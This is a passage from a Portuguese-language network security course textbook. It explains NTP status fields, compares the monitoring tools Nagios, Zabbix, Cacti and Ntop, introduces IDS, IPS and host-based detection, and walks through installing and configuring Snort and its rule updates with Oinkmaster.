octal, que mostra o resultado das últimas 8 consultas à fonte de tempo: 377 = 11.111.111
significa que todas as consultas foram bem-sucedidas; outros números indicam falhas;
375 = 11.111.101, por exemplo, indica que a penúltima consulta falhou.

11 delay: tempo de ida e volta, em milissegundos, dos pacotes até essa fonte de tempo.

11 offset: deslocamento, ou quanto o relógio local tem de ser adiantado ou atrasado


(em milis-segundos) para ficar igual ao da fonte de tempo.

11 jitter: a variação, em milissegundos, entre as diferentes medidas de deslocamento para


essa fonte de tempo.

Exercício de fixação 3 e
Logs do Windows
Explique como funciona o logging em ambiente Windows. Capítulo 4 - Serviços básicos de segurança

Exercício de fixação 4 e
NTP
O que é o serviço NTP?

71
Monitoramento de serviços
As ferramentas de monitoramento são um subconjunto do universo de ferramentas de
gerenciamento que estão focadas em obter informações sobre elementos de infraestrutura
de TI. Entre as ferramentas de monitoramento, destacamos algumas com o código-fonte
aberto e distribuído sob a licença GNU GPL.

Nagios
O Nagios é uma ferramenta de gerenciamento que monitora os elementos e serviços de
rede. Os dados são coletados através de testes que simulam o funcionamento de aplicações
como File Transfer Protocol (FTP); Secure Shell (SSH); Hypertext Transfer Protocol (HTTP);
Simple Mail Transfer Protocol (SMTP); Post Office Protocol version 3 (POP3); Network Time
Protocol (NTP); Internet Control Message Protocol (ICMP); ou através de plugins adicionais
que podem ser desenvolvidos e integrados ao Nagios.

Diversos plugins estão disponíveis na internet e podem ser utilizados pelo administrador
para testes mais completos. A interatividade com o administrador baseia-se no envio de
mensagem eletrônica, alerta no console e mensagem SMS para celulares sobre o problema
ocorrido. O grande destaque dessa ferramenta é a possibilidade de classificação de grupos
de usuários para receber relatórios e alertas do sistema. Por exemplo, o problema de um
determinado servidor pode ser comunicado ao responsável pelo serviço, bem como para
uma equipe responsável pelos equipamentos ou ativos de rede.

Toda a sua configuração é realizada em arquivos de texto, e a interface com o usuário,


realizada em um console web. É possível obter relatórios de disponibilidade e planejar
ações corretivas para os problemas ocorridos em equipamentos da rede. A figura a seguir
apresenta a tela principal do Nagios, onde se pode ter uma visão abrangente do estado dos
servidores que estão sendo monitorados pela ferramenta.
Segurança de Redes e Sistemas

72
Figura 4.2 Existe ainda o projeto Fully Automated Nagios (FAN), que tem por objetivo prover uma
Sumário dos instalação facilitada do Nagios e ferramentas auxiliares providas pela comunidade.
eventos do Nagios.
O projeto FAN disponibiliza inclusive uma imagem em CD-ROM (ISO), que facilita a instalação
de um servidor Nagios.

Zabbix
O Zabbix é uma ferramenta de gerenciamento que monitora os elementos e serviços de
rede. Os dados são coletados através de consultas ao SNMP (Simple Network Management
Protocol), de ferramentas de testes que simulam o funcionamento das aplicações FTP (File
Transfer Protocol), SSH (Secure Shell), HTTP (Hypertext Transfer Protocol) ou através de
plugins adicionais que podem ser desenvolvidos e integrados ao Zabbix.

Todos os dados coletados pelo Zabbix são armazenados em uma base de dados SQL
(Structured Query Language), permitindo a geração de relatórios pré-definidos e
personalizados, e ainda a utilização de ferramentas especializadas para gerar relatórios.
Entre os relatórios padrão gerados pelo Zabbix, temos os relatórios de disponibilidade,
Capítulo 4 - Serviços básicos de segurança

de nível de serviços, de tráfego de rede e de utilização de recursos, como CPU (Central


Processing Unit) e memória.

Toda a configuração do Zabbix é realizada através de uma interface web clara e amigável.
Os alarmes são emitidos no console web do usuário, via recursos de áudio, mensagens
eletrônicas e/ou envio de SMS (Short Message Service) para aparelhos celulares. O Zabbix
permite a geração de gráficos on-line e oferece ao administrador a possibilidade de criar
mapas personalizados da rede. A seguir, a imagem de uma tela de monitoramento do Zabbix.

73
Figura 4.3
Tela de
monitoramento
do Zabbix.

Cacti
Ferramenta de monitoração criada por Ian Berry. Surgiu como uma opção de frontend
(interface gráfica com o usuário para interagir com programas) que apresenta os gráficos
dos dados obtidos através de consultas SNMP ou de scripts. Esses dados são armazenados Round-Robin
pelo Round-Robin Database Tool (RRDTool). Database Tool
Software que armazena
e mostra dados em
série obtidos em um
determinado período
de tempo.
Segurança de Redes e Sistemas

Figura 4.4
Configuração
do Cacti.
O Cacti disponibiliza um ambiente de configuração e operação agradável e acessível
(interface web escrita em PHP), com controle de acesso por nível de usuário. As informações
de configuração são armazenadas em um banco de dados SQL. Sua arquitetura prevê a
possibilidade de expansão através de plugins, que adicionam novas funcionalidades,
tornando-o ainda mais completo. O Cacti é muito usado em monitoramento de links WAN,
por conta da sua facilidade na criação de gráficos para monitorar a banda nos links
contratados por operadoras.

74
Apesar dessa funcionalidade importante, o Cacti pode ainda monitorar uma série de
parâmetros importantes, como consumo de CPU, memória e espaço em disco, entre
outros. A sua capacidade de apresentar os dados de maneira gráfica o torna um excelente
complemento para o Nagios na tarefa de monitoramento.

Figura 4.5 Ntop


Exemplos de
gráficos Cacti. O Network Traffic Probe (Ntop) é uma ferramenta livre para análise de tráfego de rede.
Possui um servidor HTTP (Hypertext Transfer Protocol) e HTTPS (Hypertext Transfer
Protocol Secure) nativo, que apresenta uma série de gráficos do tráfego e estatísticas da
rede. Possui ainda um modo interativo no console de texto. Principais objetivos:

11 Monitoramento e medida do tráfego.

11 Planejamento e personalização da rede.


Capítulo 4 - Serviços básicos de segurança

11 Detecção de violações na segurança.

Com desenvolvimento iniciado em 1998 por Luca Deri, o Ntop opera nas plataformas Unix
(in-cluindo Linux, BSD, Solaris e MacOSX) e Microsoft Windows. A coleta de informações é
feita através da análise do tráfego das informações que passam pelas interfaces da rede
local. Principais características:

11 Suporte ao Cisco NetFlow/sFlow.

11 Identificação de sub-redes e seus usuários.

11 Suporte ao WAP (Wireless Application Protocol).

11 Ordenação de tráfego.

75
A figura seguinte mostra a estrutura funcional do Ntop, seus módulos e os itens que
completam a ferramenta:

11 Servidor web (HTPS/HTTPS).

11 Banco de dados (ODBC SQL).

11 Protocolos (UDP/SNMP).

Máquina de relatório (servidor web) Plugins (banco de dados)

Analisador de pacote Regras de tráfego (SNMP)

Investigador do pacote

Figura 4.6
Arquitetura
Cabo Ethernet do Ntop.

Avaliação das ferramentas


As ferramentas apresentadas podem ser classificadas em três grupos:

11 Ferramentas de monitoração de serviços, como Nagios e Zabbix.

11 Ferramentas especializadas na geração de gráficos, como Cacti e Zabbix.

11 Ferramentas de classificação de tráfego, como Ntop.

O Zabbix é uma ferramenta com algumas características que permitem que ela seja
classificada também como ferramenta especializada na geração de gráficos, ainda que estes
gráficos possuam menos recursos funcionais que os gráficos do Cacti.

Quase todas as ferramentas mencionadas são fáceis de instalar. A configuração do Nagios


é complexa por exigir a manipulação de vários arquivos de texto. As demais ferramentas
possuem interface web para configuração, estando bem documentadas e com vários artigos
de referência publicados na internet.

Características Nagios Zabbix Cacti Ntop

Open Source Sim Sim Sim Sim

Console web Sim Sim Sim Sim

Administração web Não Sim Sim Sim

Monitoramento de serviços Sim Sim Via plugin Não


Segurança de Redes e Sistemas

Relatórios de disponibilidade Sim Sim Via plugin Não

Coleta de dados SNMP Via plugin Sim Sim Não

Monitoramento de recursos Sim Sim Sim Não

Mapas de rede Sim Sim Via plugin Tráfego

76
Características Nagios Zabbix Cacti Ntop

Classificação do tráfego de Não Via plugin Via plugin Sim


rede

Coleta de Network Flows Não Não Não Sim


Tabela 4.3
Comparação de
Detecção de violações de Não Não Não Sim
características
segurança
das ferramentas.

Vantagens do Cacti
Entre as opções apresentadas, o Cacti foi escolhido para ser a ferramenta usada neste curso
pelas seguintes razões:

11 Ser simples de usar e adequado para um ambiente de laboratório.

11 Apresentar uma plataforma bem documentada.

11 Possuir um agente eficiente com possibilidade de expansão de características


(uso de registros gerados por ferramentas externas).

11 Possuir arquitetura modular, que permite a integração de novos plug-ins.

11 Capacidade de gerar gráficos.

11 Capacidade de coletar informações por consultas SNMP.

Apesar das atividades práticas desta sessão trabalharem apenas com a ferramenta Cacti, o
aluno está convidado a questionar o instrutor sobre as outras ferramentas. As instruções
apresentadas durante esta sessão teórica servem como ponto de partida para que o aluno
seja capaz de instalar e configurar qualquer uma das ferramentas apresentadas. Muitas
delas possuem versões pré-instaladas, em Live CDs, ou distribuições Linux customizadas de
fácil instalação.

Capítulo 4 - Serviços básicos de segurança

77
78
Segurança de Redes e Sistemas
5
Detecção e prevenção de intrusos
objetivos

Compreender as ferramentas open source disponíveis na internet e as técnicas apropriadas


para o monitoramento de segmentos de rede e de máquinas.

conceitos
Sistemas de Detecção de Intrusos (IDS), seus componentes e classificações, HIDS e
conceitos relacionados ao Snort, entre outros.

Introdução
Nas sessões 2 e 3, vimos como estabelecer um perímetro para proteger uma rede interna
dos perigos da internet e de outras redes públicas, incluindo a criação de uma DMZ
para prover serviços públicos. Apesar de ser uma técnica bastante eficiente, existe a
possibilidade de as nossas defesas serem atacadas e eventualmente vencidas. Lembre-se:
não existe sistema 100% seguro, e isso sempre vai existir. Por isso, a detecção e a prevenção
de intrusos, que consiste no monitoramento constante de diversos elementos, como
segmentos de rede, sistemas operacionais e aplicações.

Através desse monitoramento constante, podemos tomar uma ação caso alguma atividade
suspeita seja detectada, que pode ser desde um alerta para o administrador de segurança
até o bloqueio temporário ou permanente do atacante. Podemos considerar um IDS
(Intrusion Detection System), em conjunto com um firewall, como uma aplicação do princípio
de defesa em profundidade.

Exercício de nivelamento 1 e
Capítulo 5 - Detecção e prevenção de intrusos

Detecção e prevenção de intrusos


O que você entende por detecção e prevenção de intrusos?

Sistemas de Detecção de Intrusos (IDS)


Ferramenta capaz de detectar atividade maliciosa através do monitoramento constante de
um segmento de rede ou de chamadas de sistema em um Sistema Operacional. Possui os
seguintes componentes: Sensor, Engine e Console.

79
11 Centralizados x Distribuídos.

Classificações:

11 Quanto ao modo de funcionamento:

22 Detectores de anomalias.

22 Detectores de mau uso.

11 Quanto ao local de atuação:

22 Baseados em host (HIDS).

22 Baseados em redes (NIDS).

11 Quanto à forma de atuação:

22 Reativos.

22 Passivos.

22 Ativos (IPS).

Um IDS consiste em uma ferramenta capaz de detectar atividade maliciosa através do


monitoramento constante de um segmento de rede ou de chamadas de sistema em um
Sistema Operacional. Existem diversos IDS no mercado com componentes e funcionamento
distintos, porém normalmente encontramos os seguintes componentes em um IDS:

11 Sensor: responsável por coletar informações sobre a rede, Sistema Operacional ou


aplicação, para ser utilizado como parâmetro de entrada para o sistema de detecção.

11 Engine: responsável por analisar as informações coletadas e comparar com um padrão


conhecido, para assim determinar se é um evento normal ou malicioso. Algumas engines
trabalham com elementos mais determinísticos, como assinaturas de ataque. Outras traba-
lham com redes neurais e sistemas estatísticos, e podem detectar ataques desconhecidos.

11 Console: interface para o administrador configurar o funcionamento da ferramenta.

Esses componentes podem estar em uma única máquina ou distribuídos. Existem ainda
diferentes tipos de IDS de acordo com o modo de funcionamento, local e forma de atuação
frente a um ataque. Existem então as seguintes classificações para facilitar o nosso
entendimento sobre o assunto.

Quanto ao modo de funcionamento


11 Detector de anomalias: utiliza alguma função estatística ou rede neural para definir um
perfil de utilização normal da rede em uma etapa de aprendizado. Em seguida, analisa
constantemente o padrão atual com o aprendido. Caso ocorra algum desvio acima de um
limiar, considera que houve uma tentativa de intrusão. Essa técnica tem a vantagem de
possibilitar a detecção de ataques desconhecidos, mas pode gerar falsos positivos e não
é capaz de saber o ataque específico em ação.
Segurança de Redes e Sistemas

11 Detector de mau uso: é o modo mais utilizado atualmente. Possui funcionamento


parecido com o de um antivírus. Através de um conjunto de assinaturas previamente
configuradas, o IDS monitora o ambiente em busca de eventos que coincidam com
alguma assinatura. Possui baixo índice de falsos positivos caso as assinaturas sejam de
boa qualidade. Não detectam ataques desconhecidos e dependem de atualização das
assinaturas por parte do fabricante ou da comunidade.

80
Quanto ao local de atuação
11 Baseados em host: agem em cima de uma única máquina. Normalmente são instalados
na própria máquina que se deseja proteger e monitoram chamadas do Sistema Opera-
cional ou atividades de uma aplicação específica. Comumente chamados de Host-based
IDS (HIDS).

11 Baseados em redes: agem em cima de um segmento de rede. São instalados em uma


máquina que faz parte do segmento de rede. Monitoram o tráfego no segmento de rede
do qual a interface de monitoramento faz parte. Os IDSs de rede são chamados de NIDS.
Um NIDS é capaz de detectar atividade suspeita em uma rede inteira que se encontra
atrás dele, porém, como age no nível do Sistema Operacional, um HIDS é capaz de obter
informações mesmo que elas não trafeguem pela rede. Em arquiteturas reais, é muito
comum a combinação de NIDS e HIDS de modo a obter uma proteção mais completa.

Quanto à forma de atuação

11 Reativos: agem após um evento malicioso. Podem inserir regras em um firewall acoplado
ou tentar encerrar a conexão utilizando pacotes falsificados. É importante ressaltar que,
em alguns ataques, a reação pode ser tardia demais. Existem ataques em que um pacote
é suficiente para causar algum tipo de estrago. Nesses casos, no momento em que o IDS
reagir ao ataque, será tarde demais.

11 Passivos: não causam nenhuma alteração no ambiente. Fazem apenas registros dos
eventos e notificações para os administradores. Uma vantagem de um IDS passivo é
que ele não causa nenhuma interrupção na rede caso falhe, porém o tráfego malicioso
deixará de ser detectado. Aqui temos uma aplicação inversa do princípio de fail safe.

11 Ativos: agem ativamente em caso de evento malicioso. Os sistemas ativos são chamados
de Sistemas de Prevenção de Intrusos ou IPS.

Exercício de fixação 1 e
IDS
Explique no que consiste um IDS.

Quanto ao local de atuação, como podemos dividir os IDSs? Onde atuam?


Capítulo 5 - Detecção e prevenção de intrusos

Sistemas de Prevenção de Intrusos (IPS)


O IPS (Intrusion Prevention System), Sistema de Prevenção de Intrusos, se diferencia do
IDS pelo fato de ser ativo, ou seja, interfere diretamente nos eventos que passam por ele,
diferente do IDS, que é passivo, isto é, apenas monitora os eventos, sem neles interferir.
Os IPSs mais comuns são os de rede, que atuam em cima do tráfego de rede. Na figura a
seguir, podemos diferenciar um IDS de um IPS, por meio da sua localização na rede.

81
IPS

IDS Figura 5.1


Localização do IDS
e IPS na rede.
Na figura 5.1 podemos perceber que o tráfego passa diretamente pelo IPS, de modo que o
sistema pode optar por não transmitir um tráfego adiante, caso suspeite que seja malicioso.
Esse comportamento é diferente do comportamento do IDS, que apenas monitora o tráfego.
Mesmo que o IDS tome uma ação, essa será reativa, pois não vai interferir no tráfego da
rede. Uma vantagem clara dos IPSs é a possibilidade de bloquear um ataque a partir do seu
primeiro pacote, o que pode ser fundamental para mitigá-lo, visto que em alguns ataques
basta um pacote para que o ataque seja bem-sucedido (lembre-se do ping da morte).

Uma desvantagem do IPS é a sua necessidade de capacidade de processamento suficiente


para analisar todos os pacotes que passam por ele, o que pode causar atrasos em casos
de redes muito sobrecarregadas; isso não ocorre no IDS, que é passivo. Um IDS sobrecar-
regado, porém, não consegue analisar todos os pacotes que passam por ele, de modo a se
tornar um IDS estatístico, pois analisa apenas uma porcentagem do tráfego.

Em muitos IPSs comerciais, o fabricante indica a taxa de transferência máxima (troughput)


que um determinado IPS é capaz de suportar. Outra característica importante a ser conside-
rada em um IPS é a ação em caso de falha. Um IPS onde ocorreu uma falha pode bloquear
ou liberar todas as conexões que passam por ele. Essa decisão é capciosa e complexa,
pois liberar todas as conexões pode permitir que um atacante acesse a rede protegida, e
bloqueá-las pode causar um problema de disponibilidade.

Exercício de fixação 2 e
IPS
O que é um IPS?

Como podemos diferenciar um IPS de um IDS?


Segurança de Redes e Sistemas

Sistemas de Detecção de Intrusos em hosts (HIDS)


Na maior parte dos casos, quando falamos em IDS, estamos nos referindo aos sistemas
de detecção de intrusos baseados em rede (NIDS), que são mais comuns. Um sistema
baseado em rede é capaz de monitorar um segmento de rede e detectar tráfego malicioso
destinado a qualquer máquina que se encontre atrás do segmento monitorado, criando
uma proteção mais abrangente, porém limitada a informações obtidas através de pacotes
enviados na rede.

82
Como complemento aos NIDSs, existem sistemas de detecção que agem em uma máquina
específica, monitorando elementos como chamadas ao sistema (system calls), logs de
aplicação, modificação em arquivos ou registros, criação de processos, entre outros. São
chamados de HIDS (Host Intrusion Detection Systems). Um HIDS protege apenas a máquina
onde esteja instalado, porém é capaz de obter informações que não trafegam na rede.

Existem diversos tipos de HIDSs. Os mais simples monitoram questões simples de um


ambiente computacional, como alterações em arquivos, uso excessivo de CPU, memória
etc. Outros, mais complexos, se instalam como drivers ou módulos do kernel, monitorando
elementos de baixo nível no Sistema Operacional, como chamadas ao sistema e acesso físico
ao disco, entre outros. É comum a combinação de NIDS e HIDS em uma rede, de modo a
monitorar tanto a rede, quanto as aplicações e sistemas operacionais.

Existem diversas ferramentas que realizam detecção de intrusos com base em hosts.
Podemos citar algumas, disponíveis na internet:

11 OSSEC: ferramenta bastante completa de HIDS, capaz de realizar análise de logs, veri-
ficação de integridade de arquivos, monitoramento de políticas, detecção de rootkits e
alertas em tempo real, entre outros. Disponível para plataformas como Linux, MacOS,
Solaris, HP-UX, AIX e Windows.

11 SAMHAIN: HIDS que provê verificação de integridade de arquivos e análise e monito-


ramento de arquivos de log. Ele foi projetado para monitorar múltiplas máquinas com
diferentes sistemas operacionais, provendo registros centralizados e gerenciados.

11 Tripwire: ferramenta antiga de monitoramento de integridade de arquivos, muito usada


para verificar se os arquivos de um Sistema Operacional foram modificados, o que pode
ser um indício de comprometimento do servidor.

11 Osíris: ferramenta de monitoramento de alterações em máquinas capaz de monitorar


mudanças no sistema de arquivos, lista de usuários e grupos e módulos de kernel.
Suporta plataformas como Linux, BSD, Windows, AIX, Solaris e MacOS. Atua de forma
centralizada, monitorando mudanças em diversas máquinas.

As tecnologias de IDS atualmente estão bastante sedimentadas, de modo que existem


diversas ferramentas, livres e comerciais. Neste curso usaremos o Snort, considerado um
dos melhores IDS open source do mercado.

Exercício de fixação 3 e
HIDS
Explique o que é um HIDS.
Capítulo 5 - Detecção e prevenção de intrusos

Snort
O Snort é um NIDS open source, bastante conhecido. Ele é baseado em assinaturas, de
modo que é necessário que ele seja constantemente atualizado para continuar sendo
eficiente. Existe um plugin estatístico para o Snort, chamado SPADE, pouco usado.

O Snort possui uma estrutura modular altamente customizável, de modo que diversos
plugins e programas acessórios podem ser usados para expandir suas funcionalidades,

83
como a possibilidade de reagir a um alerta, a atualização automática das suas assinaturas
e o gerenciamento de diversos sensores espalhados em uma ou mais redes. Por ter o
código-fonte aberto, o Snort foi portado para plataformas como Linux e Windows. A figura
a seguir apresenta os diferentes componentes do Snort, desde a captura do pacote na
rede até o registro de um alerta ou log.

Internet Decodificador
de pacote

Registro e
Preprocessadores Detection Engine
sistema de alerta
Alerta de saída ou
registro de arquivo
Pacote é descartado Módulos de saída

O decodificador de pacote é responsável pela obtenção dos pacotes no segmento de rede Figura 5.2
monitorado. Os pré-processadores realizam diversos tipos de processamento em cima dos Arquitetura Snort.

pacotes, com o objetivo de obter tráfego normalizado. Questões como fragmentação, uso
de codificações diferentes e ofuscação de pacotes são tratadas nessa etapa. A seguir, o
detection engine é responsável por compilar as regras (assinaturas) e testar os pacotes
contra essas regras. O registro e sistema de alerta gera os registros do Snort e envia os
alertas. Por fim, os módulos de saída exportam os alertas e registros para um arquivo ou
banco de dados. A figura a seguir apresenta um exemplo de alerta gerado pelo Snort.

Gerador da Código da
regra (GID) regra (SID) Descrição do alerta + classificação + prioridade

Revisão
Timestamp + IP + portas
[**][1:2001669:2] BLENDING-EDGE Web Proxy Get Request[**]
[Classification: Potentially Bad Traffic][Priority 2]
09/22-04:09:54.54.944632 192.168.1.1:64570-> 192.168.2.33:80
TCP TTL:108 TOS:0x0 ID:17008 IpLen: 20 DgmLen: 454 DF
***AP***Seq: 0x478a75AC Ack: 0x4F338167 Win: 0x40B0 TcpLen: 20
[Xref=>http://cve.mitre.org/cgi-bin/cvename.cgi?name=2000-0951]
Parâmetros [Xref=>http://www.secutiryfocus.com/bid/1756]
de rede
[Xref=>http://www.whitehats.com/info/IDS474] Referências

Através da arquitetura modular do Snort, é possível a geração de alertas em arquivos texto, Figura 5.3
bases de dados, entre outros. Em conjunto com os alertas, é possível ainda o armazena- Exemplo de alerta
Segurança de Redes e Sistemas

gerado pelo Snort.


mento dos pacotes que causaram um determinado alerta, o que é importante para se
determinar se um determinado alerta é legítimo ou se é um falso-positivo.

Há programas auxiliares ao Snort, que geram alertas em formatos mais úteis para um
administrador, como BASE (Basic Analysis and Security Engine), Sguil (The Analyst Console
for Network Security Monitoring) e OSSIM, considerado um SIEM (Security Information
and Event Management). Um SIEM é uma ferramenta centralizada de segurança, com o
objetivo de concentrar as informações de segurança em uma única ferramenta. O OSSIM
é um conjunto de ferramentas integradas, com um console gráfico completo. Muitas das

84
ferramentas presentes no OSSIM foram ou serão apresentadas neste curso, como Snort,
Nessus, Ntop e Nagios. O interessante do OSSIM é que ele é disponibilizado como uma
imagem ISO, com todos os componentes instalados automaticamente, bastando apenas a
sua inicialização através dessa ISO.

Instalação do Snort
A instalação do Snort, assim como a de outros programas open source, normalmente envol-
veria compilar o código-fonte e instalá-lo na máquina em questão. Porém, no caso do Linux,
a própria distribuição Debian, utilizada no nosso laboratório, provê o Snort já compilado, de
modo que basta uma conexão com a internet e dois comandos para instalar a parte básica
do Snort:

O primeiro comando atualiza a base de pacotes do Debian e o segundo comando efetiva-


apt-get update
apt-get install snort

l
mente instala a última versão do Snort disponível. É importante ressaltar que o Debian nem
Mais informações
sobre os conjuntos de sempre disponibiliza as últimas versões dos programas, pois os desenvolvedores possuem
pacotes podem ser um rígido processo de inclusão de novas versões, de modo que a versão disponibilizada
encontradas no
normalmente é inferior à última versão disponível no site. Caso o aluno necessite de uma
Fórum Debian
(Hibridizando o APT). versão mais atualizada, recomenda-se utilizar o conjunto de pacotes unstable ou utilizar
outra distribuição com atualizações mais frequentes, como o Ubuntu.

Caso tudo corra bem, teremos o seguinte resultado:

root@FWGW1:~# apt-get install snort --no-install-recommends


Reading package lists... Done
Building dependency tree
Reading state information... Done
The following additional packages will be installed:
libdaq2 libdumbnet1 libpcap0.8 net-tools snort-common snort-common-libraries snort-rules-default
Suggested packages:
snort-doc
Recommended packages:
oinkmaster
The following NEW packages will be installed:
libdaq2 libdumbnet1 libpcap0.8 net-tools snort snort-common snort-common-libraries snort-rules-default
0 upgraded, 8 newly installed, 0 to remove and 0 not upgraded.
Need to get 2,553 kB of archives.
After this operation, 8,426 kB of additional disk space will be used.
Do you want to continue? [Y/n]
[...]
Capítulo 5 - Detecção e prevenção de intrusos

Fetched 2,553 kB in 0s (6,439 kB/s)


Preconfiguring packages ...
[...]
Setting up snort-common (2.9.7.0-5) ...
Setting up snort-rules-default (2.9.7.0-5) ...
Setting up libdaq2 (2.0.4-3+b1) ...
Processing triggers for libc-bin (2.24-11+deb9u3) ...
Processing triggers for systemd (232-25+deb9u4) ...
Setting up libdumbnet1:amd64 (1.12-7+b1) ...
Processing triggers for man-db (2.7.6.1-2) ...
Setting up net-tools (1.60+git20161116.90da8a0-1) ...
Setting up libpcap0.8:amd64 (1.8.1-3) ...
Setting up snort-common-libraries (2.9.7.0-5) ...
Setting up snort (2.9.7.0-5) ...
Processing triggers for libc-bin (2.24-11+deb9u3) ...
Processing triggers for systemd (232-25+deb9u4) ...
root@FWGW1:~#

85
Algumas partes do resultado da instalação (representadas pelas linhas contendo [...]) foram
suprimidas por questão de tamanho. Ao final da execução do comando, o Snort estará
instalado e executando. Durante a instalação será perguntado o endereço da rede local,
que corresponderá ao parâmetro HOME_NET. Esse parâmetro é importante, pois o tráfego
que não se originar ou tiver como destino essa rede será ignorado pelo Snort. Caso queira
monitorar todo o tráfego que passa pela interface de captura do IDS, configure HOME_NET
como 0.0.0.0/0.

Com o Snort instalado, podemos verificar se está em execução utilizando o comando ps


no Linux:

FWGW1:/var/log/snort# ps aux | grep snort


snort 3305 26.6 58.1 174664 149108 ? S<s 03:54 5:11 /usr/sbin/snort -m 027 -D
-d -l /var/log/snort -u snort -g snort -c /etc/snort/snort.conf -S HOME_NET=[172.16.1.0/24]
-i enp0s3

Verifique que uma série de parâmetros são passados para o Snort automaticamente, por
conta da instalação do Snort no Debian. Os principais serão descritos a seguir.

Caso tenha interesse em outros parâmetros do Snort, o comando man snort apresenta uma
descrição de todos os parâmetros existentes:

11 -D: modo daemon, executa o Snort como um serviço, de modo que ele ficará em cons-
tante execução até que seu processo seja finalizado.

11 -d: instrui o Snort a incluir os dados da camada de aplicação no pacote que será registrado.

11 -l: indica o diretório onde os logs do Snort serão armazenados. No caso, o diretório /var/
log/snort conterá os registros de alertas e pacotes.

11 -u: indica o usuário que será utilizado para executar o Snort. Conforme o princípio do
menor privilégio, não recomendamos que o Snort seja executado com direitos de admi-
nistrador (root).

11 -g: indica o grupo utilizado para executar o processo do Snort.

11 -c: indica o caminho do arquivo de configuração.

11 -S: variável=valor ajusta a variável para o valor definido. Permite alteração em linha de
comando de parâmetros do arquivo de configuração. Na execução acima, o parâmetro está
ajustando a variável HOME_NET para o valor 172.16.1.0/24, definido durante a instalação.

11 -i: indica a interface que será utilizada para a captura de tráfego.

Alguns desses parâmetros podem ser ajustados no arquivo /etc/default/snort. Para


controlar a execução do serviço do Snort, podemos utilizar os seguintes comandos:

11 systemctl stop snort – encerra o Snort.

11 systemctl start snort – inicia o Snort.

11 systemctl restart snort – reinicia o Snort (aplica mudanças no arquivo de configuração).


Segurança de Redes e Sistemas

Configuração do Snort
A configuração do Snort reside no arquivo /etc/snort/snort.conf. Esse arquivo é extenso e
contém uma série de parâmetros de configuração do Snort. Para efeito deste curso, serão vistos
alguns parâmetros mais importantes. O aluno que desejar se aprofundar mais a respeito dos
parâmetros de configuração do Snort pode buscar mais informações no manual da ferramenta.

86
11 Variáveis (var) – configuram parâmetros do Snort, como a rede local, a rede externa,
SMTP os servidores DNS, SMTP, HTTP, SQL, Telnet e SMTP. Configurar esses parâmetros pode
Simple Mail Transfer reduzir significantemente a quantidade de falsos positivos no seu IDS, pois o Snort só
Protocol. Protocolo de
alertará quando o destino efetivamente dispor do serviço indicado. Alguns exemplos.
envio de mensagens de
correio eletrônico. 22 var HOME_NET [192.168.1.0/24]

22 var SMTP_SERVERS 172.16.1.20

22 var EXTERNAL_NET any

22 var RULE_PATH – indica o caminho onde os arquivos de regras (assinaturas) se encon-


tram.

22 include $RULE_PATH/<arquivo>.rules – inclui um arquivo de regras. Os arquivos de


regras normalmente são divididos por categorias, de modo que seja fácil comentar as
linhas correspondentes para desabilitar as regras. Os comentários são feitos utili-
zando o caractere “#” no início da linha.

Regras do Snort
As regras do Snort são um elemento-chave na sua configuração. Sem regras, o Snort
torna-se um mero analisador de pacotes. As regras são linhas de texto contendo instruções
para o Snort localizar pacotes que contenham características específicas e informações
acerca do alerta a ser gerado. A seguir um exemplo de regra, que detecta um ataque
específico para servidores de correio eletrônico (SMTP).

alert tcp $EXTERNAL_NET any -> $SMTP_SERVERS 25 (msg:”SMTP RCPT TO overflow”;


flow:to_server,established; content:”rcpt to|3A|”; nocase; isdataat:300,relative;
pcre:”/^RCPT TO\x3a\s[^\n]{300}/ism”; reference:bugtraq,2283; reference:bugtraq,9696;
reference:cve,2001-0260; classtype:attempted-admin; sid:654; rev:14;)

Observe as variáveis do arquivo snort.conf, as portas envolvidas (25 TCP) e a indicação da


mensagem de alerta (parâmetro msg).

As regras instaladas no Snort podem ser habilitadas ou desabilitadas, individualmente ou


em grupo, inserindo comentários (#) nos arquivos de regra (extensão .rules) ou no próprio
snort.conf, para bloquear um conjunto inteiro de regras. Muitas regras podem gerar muitos
falsos positivos. Então, fazer um ajuste das regras é uma tarefa cansativa, porém indis-
pensável para que os registros de alerta sejam confiáveis e úteis. Um IDS que gera muitos
alertas falsos facilmente acaba em desuso. Existem atualmente diferentes conjuntos de
regras para o Snort, alguns pagos e outros gratuitos. Capítulo 5 - Detecção e prevenção de intrusos

A seguir uma descrição sobre os conjuntos mais comuns:

11 Regras Sourcefire VRT (Vulnerability Research Team) Certified – regras fornecidas


pela Sourcefire, empresa responsável pelo desenvolvimento do Snort. Necessitam de
uma assinatura por parte do usuário.

11 Regras Sourcefire VRT Certified (versão para usuários registrados) – regras gratuitas
(snort-rules), fornecidas com defasagem de 30 dias em relação às regras comerciais,
podem ser obtidas mediante registro no sítio. As regras se referem a versões específicas
do Snort, portanto, verifique a versão instalada antes de baixá-las.

11 Regras Emerging Threats – regras comunitárias e gratuitas, desenvolvidas por voluntá-


rios. Apesar de gratuitas, as regras ET são muito eficientes e possuem um elevado índice
de atualizações. O diretório open contém as regras para cada versão do Snort.

87
11 Regras Emerging Threats Pro – versão paga do ET, que custa 500 dólares por ano.

Para instalar um novo conjunto de regras, basta copiar os arquivos para o diretório de
regras do Snort (normalmente /etc/snort/rules) e referenciá-los no arquivo snort.conf
(include <caminho do arquivo .rule>).

O infográfico a seguir, disponível na documentação do Snort, explica de forma bem ilustra-


tiva como são construídas as regras na ferramenta.

Oinkmaster
Conforme foi dito, a atualização constante de regras é fundamental para o bom funciona-
mento de um IDS. Porém, dependendo do número de atualizações diárias e da quantidade
de sensores, a tarefa de mantê-los atualizados pode ficar muito complexa. Com o intuito
Segurança de Redes e Sistemas

de facilitar a atualização de regras, foi criada uma ferramenta chamada Oinkmaster, que
permite que a atualização seja feita de forma automática.

A instalação do Oinkmaster é automaticamente realizada junto com o Snort, durante a


execução do comando apt-get install. A configuração da ferramenta é bastante simples
e consiste apenas em indicar no arquivo de configuração os parâmetros necessários e
instalar um agendamento (cron) no ambiente para executar periodicamente a ferramenta. Cron
A seguir, os passos para a configuração do Oinkmaster para atualização das regras do Sistema de agenda-
mento de tarefas de um
projeto emerging threats.
ambiente Unix.

88
1. Edite o arquivo /etc/oinkmaster.conf e adicione a seguinte linha:

http://www.emergingthreats.net/rules/emerging.rules.tar.gz

Salve o arquivo.

2. Verifique o funcionamento do Oinkmaster, executando-o na linha de comando:

/usr/sbin/oinkmaster –C /etc/oinkmaster.conf –o <diretório de saída>

3. Crie um novo diretório para não misturar os conjuntos de regras (ex: /etc/snort/rules2).

4. Configure o cron para executar o Oinkmaster periodicamente com o comando crontab –e.
Exemplo para executar o Oinkmaster todos os dias às 5h30 da manhã:

